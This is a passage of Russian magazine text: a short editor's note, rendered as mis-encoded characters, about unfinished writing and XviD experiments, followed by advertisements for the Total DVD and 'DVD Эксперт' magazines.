áûëà çèìà, ñêâîçü îêíî ïðîñâå÷èâà-
ëè çâåçäû è ìîðîç. Â ïëàíàõ áûëà
ïåðâàÿ ÷àñòü ñòàòüè äëÿ SYS'à,
íî ýòèì ïëàíàì ñáûòüñÿ íå óäàëîñü.
Òåêó÷êà. Ïîäãîòîâèòü îäíî, îòðåäàê-
òèðîâàòü äðóãîå. Âîò òàê âðåìÿ
è èäåò. Äà åùå ñ XviD'îì íà÷àë ýêñ-
ïåðèìåíòèðîâàòü, ïûòàÿñü âûæàòü
èç íåãî ìàêñèìàëüíîå êà÷åñòâî ïðè
ìèíèìàëüíîì ðàçìåðå. Êîðî÷å, âîò
òàêàÿ ðàçìåðåííàÿ æèçíü ìåäëåííî
ïðèõîäÿùåãî â ôîðìó ìûùúõ'à, çà-
ñûïàâøåãî óæå â ïðåäðàññâåòíîì
ïîëóìðàêå
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Думаешь, что посмотреть сегодня вечером?
Выбираем кино с TOTAL DVD! 

Все о кино – читай о блокбастерах месяца, размышляй о лентах 
вместе со звездами, выбирай на какой сеанс пойти

•
Все о DVD – самые лучшие релизы месяца, более 50 обзоров, море 

интервью
•

...и немного о технологиях будущего! Телевидение высокой 
четкости, плазмы и многое другое!

Total DVD – ультимативный журнал для киноманов! 
Каждый журнал комплектуется DVD-приложением с великолепным 

полнометражным фильмом категории «А» (качество изображения и звука на 
диске соответствует лучшим мировым релизам), подборкой трейлеров и анонсов 

новых картин и роликами к DVD-релизам.

Ищешь себе технику для домашнего кинотеатра?
«DVD Эксперт» – самый лучший гид по аудио- 
видео- новинкам! 
Все о Hi-Fi, High End и Home Cinema!
•
Пошаговые инструкции по составлению и инсталляции системы 
домашнего кино
•
Лучшие системы и компоненты месяца – рай для новичков. Более 50 
самых новых моделей в оценочных и сравнительных тестах
•
Готовые системы, интервью, самые свежие новости индустрии
Всегда на лезвии прогресса! 

Выбираем домашний кинотеатр с журналом «DVD Эксперт»! 
Сейчас это стильно, это модно, это доступно, это просто!  
Каждый журнал комплектуется DVD-приложением с великолепным полнометражным 
фильмом категории «А» (качество изображения и звука на диске соответствует 
лучшим мировым релизам) и тестами для настройки системы хоум синема.
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